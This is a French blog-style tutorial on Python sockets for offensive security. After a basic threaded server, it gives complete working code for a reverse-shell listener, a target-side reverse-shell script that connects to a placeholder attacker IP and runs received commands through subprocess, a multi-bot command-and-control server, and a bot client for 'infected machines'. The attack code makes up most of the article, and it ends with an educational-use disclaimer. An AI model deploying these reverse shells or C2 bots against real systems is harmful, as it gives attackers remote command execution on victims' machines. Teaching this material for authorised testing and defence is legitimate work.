Utilisation des sockets Python pour la sécurité offensive

✍️ Valentin Lobstein | 🗓️ 7 avr. 2023

Introduction

Dans cet article, nous explorerons comment utiliser les sockets Python dans le contexte de la sécurité offensive. Les sockets permettent la communication entre deux machines via un réseau, et leur maîtrise est cruciale pour les professionnels de la cybersécurité. Nous aborderons des cas pratiques tels que les reverse shells et les serveurs de commande et de contrôle (C2).

Les bases des sockets en Python

Un socket est un point de communication entre deux processus à travers un réseau. En Python, la bibliothèque socket permet de créer et de gérer facilement des sockets.

Création d’un socket en Python

Dans cet exemple, nous créons un socket en utilisant la bibliothèque socket en Python. socket.AF_INET spécifie que nous utilisons IPv4, tandis que socket.SOCK_STREAM indique que nous utilisons le protocole TCP pour la communication.

import socket
# Ceci est un socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Utilisation des sockets avec des threads

Pour créer un programme de socket performant, il est recommandé d’utiliser des threads. L’utilisation de threads permet de gérer plusieurs connexions simultanément sans bloquer l’exécution du programme.

Dans cet exemple, nous créons un serveur simple qui utilise des threads pour gérer plusieurs clients. La fonction handle_client() est utilisée pour gérer chaque connexion client. Lorsqu’une nouvelle connexion est établie, un nouveau thread est créé pour gérer la communication avec ce client, permettant au serveur de continuer à accepter de nouvelles connexions.

import socket
import threading

def handle_client(conn, addr):
    print(f"[+] Connexion établie avec {addr[0]}:{addr[1]}")
    conn.send(b"Bienvenue sur le serveur !")
    conn.close()

host = '0.0.0.0'
port = 12345

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

print(f"[+] En attente de connexion sur le port {port}...")
while True:
    conn, addr = s.accept()
    thread = threading.Thread(target=handle_client, args=(conn, addr))
    thread.start()

Reverse Shells avec Python et threads

Un reverse shell est une technique d’attaque dans laquelle un attaquant ouvre une connexion depuis la machine cible vers sa propre machine, permettant un accès complet à la machine cible. Les sockets Python et les threads peuvent être utilisés pour créer des reverse shells performants.

Création d’un serveur d’écoute pour le reverse shell

Dans cet exemple, nous créons un serveur d’écoute sur la machine de l’attaquant à l’aide d’un socket Python et de threads. La fonction handle_reverse_shell() est utilisée pour gérer la connexion de la machine cible. Lorsqu’un reverse shell est établi, un nouveau thread est créé pour gérer la communication avec la machine cible, permettant au serveur d’écoute de continuer à accepter de nouvelles connexions.

import socket
import threading

def handle_reverse_shell(conn, addr):
    print(f"[+] Reverse shell établi avec {addr[0]}:{addr[1]}")
    while True:
        command = input("Entrez une commande: ")
        if command.lower() == "exit":
            break
        conn.send(command.encode('utf-8'))
        response = conn.recv(1024).decode('utf-8')
        print(response)

host = '0.0.0.0'
port = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

print(f"[+] En attente de connexion sur le port {port}...")
while True:
    conn, addr = s.accept()
    thread = threading.Thread(target=handle_reverse_shell, args=(conn, addr))
    thread.start()

Création d’un script de reverse shell pour la machine cible

Sur la machine cible, créez un script Python qui établira une connexion avec le serveur d’écoute de l’attaquant. Ce script utilise un socket pour se connecter à l’adresse IP et au port du serveur d’écoute, puis entre dans une boucle où il reçoit les commandes de l’attaquant, les exécute et envoie les résultats.

import socket
import subprocess

host = "IP_de_l_attaquant"
port = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

while True:
    command = s.recv(1024).decode('utf-8')
    if command.lower() == "exit":
        break
    output = subprocess.getoutput(command)
    s.send(output.encode('utf-8'))

s.close()

Serveurs de commande et de contrôle (C2)

Les serveurs de commande et de contrôle (C2) sont utilisés par les attaquants pour contrôler à distance les machines compromises. Les sockets Python et les threads peuvent être utilisés pour créer un serveur C2 et communiquer avec les machines infectées.

Création d’un serveur C2 avec sockets et threads

Dans cet exemple, nous créons un serveur C2 à l’aide de sockets et de threads. Le serveur attend les connexions des machines infectées et gère chaque connexion dans un thread séparé en utilisant la fonction handle_bot().

import socket
import threading

def handle_bot(conn, addr):
    print(f"[+] Bot connecté: {addr[0]}:{addr[1]}")
    while True:
        command = input(f"Entrez une commande pour le bot {addr[0]}:{addr[1]}: ")
        if command.lower() == "exit":
            break
        conn.send(command.encode('utf-8'))
        response = conn.recv(1024).decode('utf-8')
        print(response)

def select_bot(bots):
    selected_ip = input("Entrez l'adresse IP du bot que vous souhaitez contrôler: ")
    for conn, addr in bots:
        if addr[0] == selected_ip:
            return conn, addr
    return None, None

host = '0.0.0.0'
port = 8888

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

bots = []

print(f"[+] En attente de connexion des bots sur le port {port}...")
while True:
    conn, addr = s.accept()
    bots.append((conn, addr))
    print(f"[+] Nouveau bot connecté: {addr[0]}:{addr[1]}")

    while True:
        selected_conn, selected_addr = select_bot(bots)
        if selected_conn is None:
            print("Bot introuvable, veuillez réessayer.")
        else:
            thread = threading.Thread(target=handle_bot, args=(selected_conn, selected_addr))
            thread.start()
            break

Création d’un script de bot pour les machines infectées

Sur les machines infectées, créez un script Python qui établira une connexion avec le serveur C2. Ce script utilise un socket pour se connecter à l’adresse IP et au port du serveur C2, puis entre dans une boucle où il reçoit les commandes du serveur, les exécute et envoie les résultats.

import socket
import subprocess

host = "IP_du_serveur_C2"
port = 8888

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

while True:
    command = s.recv(1024).decode('utf-8')
    if command.lower() == "exit":
        break
    output = subprocess.getoutput(command)
    s.send(output.encode('utf-8'))

s.close()

En résumé, les sockets Python et les threads peuvent être utilisés pour créer des outils de sécurité offensive, tels que les reverse shells et les serveurs C2. Maîtriser ces techniques est essentiel pour les professionnels de la cybersécurité afin d’exploiter les vulnérabilités et de renforcer les défenses.

⚠️ Disclaimer : Le code présenté dans cet article est à des fins éducatives et de recherche seulement. L’auteur et les contributeurs ne sont en aucun cas responsables de toute utilisation malveillante du code ou des informations fournies. En utilisant ces exemples, vous acceptez de ne pas engager l’auteur ou les contributeurs dans toute responsabilité liée à l’utilisation abusive du code.